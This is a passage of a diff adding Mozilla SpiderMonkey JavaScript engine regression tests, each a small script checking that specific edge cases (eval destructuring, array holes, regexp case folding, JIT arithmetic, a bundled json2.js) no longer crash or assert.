index 0000000000..742c8caef2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-433279-02.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 433279;
+var summary = 'Do not assert: pn != tc->parseContext->nodeList';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('var {a} = b; c(d + 1);');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-433279-03.js b/js/src/tests/non262/regress/regress-433279-03.js
new file mode 100644
index 0000000000..ad7227059a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-433279-03.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 433279;
+var summary = 'Do not assert: pn != tc->parseContext->nodeList';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('({a}) = b; with({}) { for(let y in z) { } }');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-438415-01.js b/js/src/tests/non262/regress/regress-438415-01.js
new file mode 100644
index 0000000000..5e881c071d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-438415-01.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 438415;
+var summary = 'Do not assert: *vp != JSVAL_HOLE';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ [1,,].pop();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-438415-02.js b/js/src/tests/non262/regress/regress-438415-02.js
new file mode 100644
index 0000000000..208eed571e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-438415-02.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 438415;
+var summary = 'Do not assert: *vp != JSVAL_HOLE';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'zero';
+ Array.prototype[0] = 'zero';
+ var a = [];
+ a.length = 1;
+ actual = a.pop();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-440926.js b/js/src/tests/non262/regress/regress-440926.js
new file mode 100644
index 0000000000..6c1f9099c1
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-440926.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 440926;
+var summary = 'Correctly match regexps with special "i" characters';
+var actual = '';
+var expect = 'iI#,iI#;iI#,iI#';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ actual += 'iI\u0130'.replace(/[\u0130]/gi, '#');
+ actual += ',' + 'iI\u0130'.replace(/\u0130/gi, '#');
+
+ actual += ';' + 'iI\u0130'.replace(/[\u0130]/gi, '#');
+ actual += ',' + 'iI\u0130'.replace(/\u0130/gi, '#');
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-441477-01.js b/js/src/tests/non262/regress/regress-441477-01.js
new file mode 100644
index 0000000000..333a407da0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-441477-01.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 441477-01;
+var summary = '';
+var actual = 'No Exception';
+var expect = 'No Exception';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ for (i = 0; i < 5;)
+ {
+ if (i > 5)
+ throw "bad";
+ i++;
+ continue;
+ }
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-442333-01.js b/js/src/tests/non262/regress/regress-442333-01.js
new file mode 100644
index 0000000000..4ddc31f1dc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-442333-01.js
@@ -0,0 +1,34 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 442333;
+var summary = 'Remove eval\'s optional second argument';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'ReferenceError: a is not defined';
+ var o = {a : 1};
+
+ try
+ {
+ eval('a', o);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-449627.js b/js/src/tests/non262/regress/regress-449627.js
new file mode 100644
index 0000000000..f50fd29e2a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-449627.js
@@ -0,0 +1,114 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 449627;
+var summary = 'Crash with JIT in js_FillPropertyCache';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+/************************ BROWSER DETECT (http://www.quirksmode.org/js/detect.html) ************************/
+
+if (typeof navigator == 'undefined')
+{
+ navigator = {
+ userAgent: "Firefox",
+ vendor: "Mozilla",
+ platform: "Mac"
+ };
+}
+
+global = this;
+
+var BrowserDetect = {
+ init: function _init()
+ {
+ this.browser=this.searchString(this.dataBrowser) || "An unknown browser";
+
+ this.OS= this.searchString(this.dataOS)||"an unknown OS";
+ },
+ searchString: function _searchString(a)
+ {
+ for(var i=0; i < a.length; i++)
+ {
+ var b=a[i].string;
+ var c=a[i].prop;
+ this.versionSearchString=a[i].versionSearch||a[i].identity;
+ if(b)
+ {
+ if(b.indexOf(a[i].subString)!=-1)
+ return a[i].identity;
+ }
+ else if(c)
+ return a[i].identity;
+ }
+ },
+
+ searchVersion:function _searchVersion(a)
+ {
+ var b=a.indexOf(this.versionSearchString);
+ if(b==-1)
+ return;
+ return parseFloat(a.substring(b+this.versionSearchString.length+1));
+ },
+
+ dataBrowser:[
+ {
+ string:navigator.userAgent,subString:"OmniWeb",versionSearch:"OmniWeb/",identity:"OmniWeb"
+ },
+ {
+ string:navigator.vendor,subString:"Apple",identity:"Safari"
+ },
+ {
+ prop:global.opera,identity:"Opera"
+ },
+ {
+ string:navigator.vendor,subString:"iCab",identity:"iCab"
+ },
+ {
+ string:navigator.vendor,subString:"KDE",identity:"Konqueror"
+ },
+ {
+ string:navigator.userAgent,subString:"Firefox",identity:"Firefox"
+ },
+ {
+ string:navigator.vendor,subString:"Camino",identity:"Camino"
+ },
+ {
+ string:navigator.userAgent,subString:"Netscape",identity:"Netscape"
+ },
+ {
+ string:navigator.userAgent,subString:"MSIE",identity:"Explorer",versionSearch:"MSIE"
+ },
+ {
+ string:navigator.userAgent,subString:"Gecko",identity:"Mozilla",versionSearch:"rv"
+ },
+ {
+ string:navigator.userAgent,subString:"Mozilla",identity:"Netscape",versionSearch:"Mozilla"
+ }
+ ],
+ dataOS:[
+ {
+ string:navigator.platform,subString:"Win",identity:"Windows"
+ },
+ {
+ string:navigator.platform,subString:"Mac",identity:"Mac"
+ },
+ {
+ string:navigator.platform,subString:"Linux",identity:"Linux"
+ }
+ ]
+ };
+
+BrowserDetect.init();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-449666.js b/js/src/tests/non262/regress/regress-449666.js
new file mode 100644
index 0000000000..0a9ce9f9aa
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-449666.js
@@ -0,0 +1,62 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 449666;
+var summary = 'Do not assert: JSSTRING_IS_FLAT(str_)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var global;
+
+
+ if (typeof window == 'undefined') {
+ global = this;
+ }
+ else {
+ global = window;
+ }
+
+ if (!global['g']) {
+ global['g'] = {};
+ }
+
+ if (!global['g']['l']) {
+ global['g']['l'] = {};
+ (function() {
+ function k(a,b){
+ var c=a.split(/\./);
+ var d=global;
+ for(var e=0;e<c.length-1;e++){
+ if(!d[c[e]]){
+ d[c[e]]={};
+ }
+ d=d[c[e]];
+ }
+ d[c[c.length-1]]=b;
+ print("hi");
+ }
+
+ function T(a){return "hmm"}
+ k("g.l.loaded",T);
+ })();
+
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-450369.js b/js/src/tests/non262/regress/regress-450369.js
new file mode 100644
index 0000000000..5a27005589
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-450369.js
@@ -0,0 +1,307 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 450369;
+var summary = 'Crash with JIT and json2.js';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+/*
+ json2.js
+ 2007-11-06
+
+ Public Domain
+
+ See http://www.JSON.org/js.html
+
+ This file creates a global JSON object containing two methods:
+
+ JSON.stringify(value, whitelist)
+ value any JavaScript value, usually an object or array.
+
+ whitelist an optional that determines how object values are
+ stringified.
+
+ This method produces a JSON text from a JavaScript value.
+ There are three possible ways to stringify an object, depending
+ on the optional whitelist parameter.
+
+ If an object has a toJSON method, then the toJSON() method will be
+ called. The value returned from the toJSON method will be
+ stringified.
+
+ Otherwise, if the optional whitelist parameter is an array, then
+ the elements of the array will be used to select members of the
+ object for stringification.
+
+ Otherwise, if there is no whitelist parameter, then all of the
+ members of the object will be stringified.
+
+ Values that do not have JSON representaions, such as undefined or
+ functions, will not be serialized. Such values in objects will be
+ dropped, in arrays will be replaced with null. JSON.stringify()
+ returns undefined. Dates will be stringified as quoted ISO dates.
+
+ Example:
+
+ var text = JSON.stringify(['e', {pluribus: 'unum'}]);
+ // text is '["e",{"pluribus":"unum"}]'
+
+ JSON.parse(text, filter)
+ This method parses a JSON text to produce an object or
+ array. It can throw a SyntaxError exception.
+
+ The optional filter parameter is a function that can filter and
+ transform the results. It receives each of the keys and values, and
+ its return value is used instead of the original value. If it
+ returns what it received, then structure is not modified. If it
+ returns undefined then the member is deleted.
+
+ Example:
+
+ // Parse the text. If a key contains the string 'date' then
+ // convert the value to a date.
+
+ myData = JSON.parse(text, function (key, value) {
+ return key.indexOf('date') >= 0 ? new Date(value) : value;
+ });
+
+ This is a reference implementation. You are free to copy, modify, or
+ redistribute.
+
+ Use your own copy. It is extremely unwise to load third party
+ code into your pages.
+*/
+
+/*jslint evil: true */
+/*extern JSON */
+
+if (!this.emulatedJSON) {
+
+ emulatedJSON = function () {
+
+ function f(n) { // Format integers to have at least two digits.
+ return n < 10 ? '0' + n : n;
+ }
+
+ Date.prototype.toJSON = function () {
+
+// Eventually, this method will be based on the date.toISOString method.
+
+ return this.getUTCFullYear() + '-' +
+ f(this.getUTCMonth() + 1) + '-' +
+ f(this.getUTCDate()) + 'T' +
+ f(this.getUTCHours()) + ':' +
+ f(this.getUTCMinutes()) + ':' +
+ f(this.getUTCSeconds()) + 'Z';
+ };
+
+
+ var m = { // table of character substitutions
+ '\b': '\\b',
+ '\t': '\\t',
+ '\n': '\\n',
+ '\f': '\\f',
+ '\r': '\\r',
+ '"' : '\\"',
+ '\\': '\\\\'
+ };
+
+ function stringify(value, whitelist) {
+ var a, // The array holding the partial texts.
+ i, // The loop counter.
+ k, // The member key.
+ l, // Length.
+ r = /["\\\x00-\x1f\x7f-\x9f]/g,
+ v; // The member value.
+
+ switch (typeof value) {
+ case 'string':
+
+// If the string contains no control characters, no quote characters, and no
+// backslash characters, then we can safely slap some quotes around it.
+// Otherwise we must also replace the offending characters with safe sequences.
+
+ return r.test(value) ?
+ '"' + value.replace(r, function (a) {
+ var c = m[a];
+ if (c) {
+ return c;
+ }
+ c = a.charCodeAt();
+ return '\\u00' + Math.floor(c / 16).toString(16) +
+ (c % 16).toString(16);
+ }) + '"' :
+ '"' + value + '"';
+
+ case 'number':
+
+// JSON numbers must be finite. Encode non-finite numbers as null.
+
+ return isFinite(value) ? String(value) : 'null';
+
+ case 'boolean':
+ case 'null':
+ return String(value);
+
+ case 'object':
+
+// Due to a specification blunder in ECMAScript,
+// typeof null is 'object', so watch out for that case.
+
+ if (!value) {
+ return 'null';
+ }
+
+// If the object has a toJSON method, call it, and stringify the result.
+
+ if (typeof value.toJSON === 'function') {
+ return stringify(value.toJSON());
+ }
+ a = [];
+ if (typeof value.length === 'number' &&
+ !(value.propertyIsEnumerable('length'))) {
+
+// The object is an array. Stringify every element. Use null as a placeholder
+// for non-JSON values.
+
+ l = value.length;
+ for (i = 0; i < l; i += 1) {
+ a.push(stringify(value[i], whitelist) || 'null');
+ }
+
+// Join all of the elements together and wrap them in brackets.
+
+ return '[' + a.join(',') + ']';
+ }
+ if (whitelist) {
+
+// If a whitelist (array of keys) is provided, use it to select the components
+// of the object.
+
+ l = whitelist.length;
+ for (i = 0; i < l; i += 1) {
+ k = whitelist[i];
+ if (typeof k === 'string') {
+ v = stringify(value[k], whitelist);
+ if (v) {
+ a.push(stringify(k) + ':' + v);
+ }
+ }
+ }
+ } else {
+
+// Otherwise, iterate through all of the keys in the object.
+
+ for (k in value) {
+ if (typeof k === 'string') {
+ v = stringify(value[k], whitelist);
+ if (v) {
+ a.push(stringify(k) + ':' + v);
+ }
+ }
+ }
+ }
+
+// Join all of the member texts together and wrap them in braces.
+
+ return '{' + a.join(',') + '}';
+ }
+ return undefined;
+ }
+
+ return {
+ stringify: stringify,
+ parse: function (text, filter) {
+ var j;
+
+ function walk(k, v) {
+ var i, n;
+ if (v && typeof v === 'object') {
+ for (i in v) {
+ if (Object.prototype.hasOwnProperty.apply(v, [i])) {
+ n = walk(i, v[i]);
+ if (n !== undefined) {
+ v[i] = n;
+ }
+ }
+ }
+ }
+ return filter(k, v);
+ }
+
+
+// Parsing happens in three stages. In the first stage, we run the text against
+// regular expressions that look for non-JSON patterns. We are especially
+// concerned with '()' and 'new' because they can cause invocation, and '='
+// because it can cause mutation. But just to be safe, we want to reject all
+// unexpected forms.
+
+// We split the first stage into 4 regexp operations in order to work around
+// crippling inefficiencies in IE's and Safari's regexp engines. First we
+// replace all backslash pairs with '@' (a non-JSON character). Second, we
+// replace all simple value tokens with ']' characters. Third, we delete all
+// open brackets that follow a colon or comma or that begin the text. Finally,
+// we look to see that the remaining characters are only whitespace or ']' or
+// ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval.
+
+ if (/^[\],:{}\s]*$/.test(text.replace(/\\./g, '@').
+replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(:?[eE][+\-]?\d+)?/g, ']').
+replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) {
+
+// In the second stage we use the eval function to compile the text into a
+// JavaScript structure. The '{' operator is subject to a syntactic ambiguity
+// in JavaScript: it can begin a block or an object literal. We wrap the text
+// in parens to eliminate the ambiguity.
+
+ j = eval('(' + text + ')');
+
+// In the optional third stage, we recursively walk the new structure, passing
+// each name/value pair to a filter function for possible transformation.
+
+ return typeof filter === 'function' ? walk('', j) : j;
+ }
+
+// If the text is not JSON parseable, then a SyntaxError is thrown.
+
+ throw new SyntaxError('parseJSON');
+ }
+ };
+ }();
+}
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var testPairs = [
+ ["{}", {}],
+ ["[]", []],
+ ['{"foo":"bar"}', {"foo":"bar"}],
+ ['{"null":null}', {"null":null}],
+ ['{"five":5}', {"five":5}],
+ ]
+
+ var a = [];
+ for (var i=0; i < testPairs.length; i++) {
+ var pair = testPairs[i];
+ var s = emulatedJSON.stringify(pair[1])
+ a[i] = s;
+ }
+ print(a.join("\n"));
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/non262/regress/regress-450833.js b/js/src/tests/non262/regress/regress-450833.js
new file mode 100644
index 0000000000..507c25e4d1
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-450833.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 450833;
+var summary = 'TM: Multiple trees per entry point';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 100;
+
+
+ function f(i) {
+ for (var m = 0; m < 20; ++m)
+ for (var n = 0; n < 100; n += i)
+ ;
+ return n;
+ }
+
+ print(actual = f(1));
+
+
+ reportCompare(expect, actual, summary);
+
+
+ print(actual = f(.5));
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-451322.js b/js/src/tests/non262/regress/regress-451322.js
new file mode 100644
index 0000000000..b740d51aaf
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-451322.js
@@ -0,0 +1,34 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451322;
+var summary = 'Do not crash with OOM in LirBufWriter';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function f() {
+ for (var i = 0; i < 200000; i++) {
+ var m = new Function("var k = 0; for (var j = 0; j < 5; j++) { k += j * 2 + 8 / (j+3) * k} return k;");
+ m();
+ }
+ }
+ f();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-451884.js b/js/src/tests/non262/regress/regress-451884.js
new file mode 100644
index 0000000000..9d57e65a50
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-451884.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451884;
+var summary = 'Do not crash [@ QuoteString]';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (function(k){eval("k.y")})();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-451946.js b/js/src/tests/non262/regress/regress-451946.js
new file mode 100644
index 0000000000..b64c05a873
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-451946.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451946;
+var summary = 'Do not crash with SELinux execheap protection';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('This test is only valid with SELinux targetted policy with exeheap protection');
+
+
+ var i; for (i = 0; i < 2000000; i++) {;}
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452008.js b/js/src/tests/non262/regress/regress-452008.js
new file mode 100644
index 0000000000..7931696b27
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452008.js
@@ -0,0 +1,148 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452008;
+var summary = 'Bad math with JIT';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+// regression test for Bug 452008 - TM: SRP in Clipperz crypto library fails when JIT (TraceMonkey) is enabled.
+
+ var x = [9385, 32112, 25383, 16317, 30138, 14565, 17812, 24500, 2719, 30174, 3546, 9096, 15352, 19120, 20648, 14334, 7426, 0, 0, 0];
+ var n = [27875, 25925, 30422, 12227, 27798, 32170, 10873, 21748, 30629, 26296, 20697, 5125, 4815, 2221, 14392, 23369, 5560, 2, 0, 0];
+ var np = 18229;
+ var expected = [18770, 31456, 17999, 32635, 27508, 29131, 2856, 16233, 5439, 27580, 7093, 18192, 30804, 5472, 8529, 28649, 14852, 0, 0, 0];
+
+//globals
+ bpe=0; //bits stored per array element
+ mask=0; //AND this with an array element to chop it down to bpe bits
+
+//initialize the global variables
+ for (bpe=0; (1<<(bpe+1)) > (1<<bpe); bpe++); //bpe=number of bits in the mantissa on this platform
+ bpe>>=1; //bpe=number of bits in one element of the array representing the bigInt
+ mask=(1<<bpe)-1; //AND the mask with an integer to get its bpe least significant bits
+
+
+//the following global variables are scratchpad memory to
+//reduce dynamic memory allocation in the inner loop
+ sa = new Array(0); //used in mont_()
+
+//do x=y on bigInts x and y. x must be an array at least as big as y (not counting the leading zeros in y).
+ function copy_(x,y) {
+ var i;
+ var k=x.length<y.length ? x.length : y.length;
+ for (i=0;i<k;i++)
+ x[i]=y[i];
+ for (i=k;i<x.length;i++)
+ x[i]=0;
+ }
+
+//do x=y on bigInt x and integer y.
+ function copyInt_(x,n) {
+ var i,c;
+ for (c=n,i=0;i<x.length;i++) {
+ x[i]=c & mask;
+ c>>=bpe;
+ }
+ }
+
+//is x > y? (x and y both nonnegative)
+ function greater(x,y) {
+ var i;
+ var k=(x.length<y.length) ? x.length : y.length;
+
+ for (i=x.length;i<y.length;i++)
+ if (y[i])
+ return 0; //y has more digits
+
+ for (i=y.length;i<x.length;i++)
+ if (x[i])
+ return 1; //x has more digits
+
+ for (i=k-1;i>=0;i--)
+ if (x[i]>y[i])
+ return 1;
+ else if (x[i]<y[i])
+ return 0;
+ return 0;
+ }
+
+
+//do x=x*y*Ri mod n for bigInts x,y,n,
+// where Ri = 2**(-kn*bpe) mod n, and kn is the
+// number of elements in the n array, not
+// counting leading zeros.
+//x must be large enough to hold the answer.
+//It's OK if x and y are the same variable.
+//must have:
+// x,y < n
+// n is odd
+// np = -(n^(-1)) mod radix
+ function mont_(x,y,n,np) {
+ var i,j,c,ui,t;
+ var kn=n.length;
+ var ky=y.length;
+
+ if (sa.length!=kn)
+ sa=new Array(kn);
+
+ for (;kn>0 && n[kn-1]==0;kn--); //ignore leading zeros of n
+ for (;ky>0 && y[ky-1]==0;ky--); //ignore leading zeros of y
+
+ copyInt_(sa,0);
+
+ //the following loop consumes 95% of the runtime for randTruePrime_() and powMod_() for large keys
+ for (i=0; i<kn; i++) {
+ t=sa[0]+x[i]*y[0];
+ ui=((t & mask) * np) & mask; //the inner "& mask" is needed on Macintosh MSIE, but not windows MSIE
+ c=(t+ui*n[0]) >> bpe;
+ t=x[i];
+
+ //do sa=(sa+x[i]*y+ui*n)/b where b=2**bpe
+ for (j=1;j<ky;j++) {
+ c+=sa[j]+t*y[j]+ui*n[j];
+ sa[j-1]=c & mask;
+ c>>=bpe;
+ }
+ for (;j<kn;j++) {
+ c+=sa[j]+ui*n[j];
+ sa[j-1]=c & mask;
+ c>>=bpe;
+ }
+ sa[j-1]=c & mask;
+ }
+
+ if (!greater(n,sa))
+ sub_(sa,n);
+ copy_(x,sa);
+ }
+
+ mont_(x, x, n, np);
+
+ var passed = expected.length == x.length;
+ for (var i = 0; i < expected.length; i++) {
+ if (passed)
+ passed = expected[i] == x[i];
+ }
+ print(passed);
+
+
+ expect = true;
+ actual = passed;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452170.js b/js/src/tests/non262/regress/regress-452170.js
new file mode 100644
index 0000000000..156ade04d5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452170.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452170;
+var summary = 'Do not assert with JIT: (*m != JSVAL_INT) || isInt32(*vp)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 4; ++j) { (-0).toString(); }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452189.js b/js/src/tests/non262/regress/regress-452189.js
new file mode 100644
index 0000000000..811fe5fbdd
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452189.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Geoff Garen
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452189;
+var summary = "Don't shadow a readonly or setter proto-property";
+var expect = "PASS";
+var actual = "FAIL";
+
+function c() {
+ this.x = 3;
+}
+
+
+new c;
+Object.prototype.__defineSetter__('x', function(){ actual = expect; })
+new c;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-452333.js b/js/src/tests/non262/regress/regress-452333.js
new file mode 100644
index 0000000000..a1d4527681
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452333.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
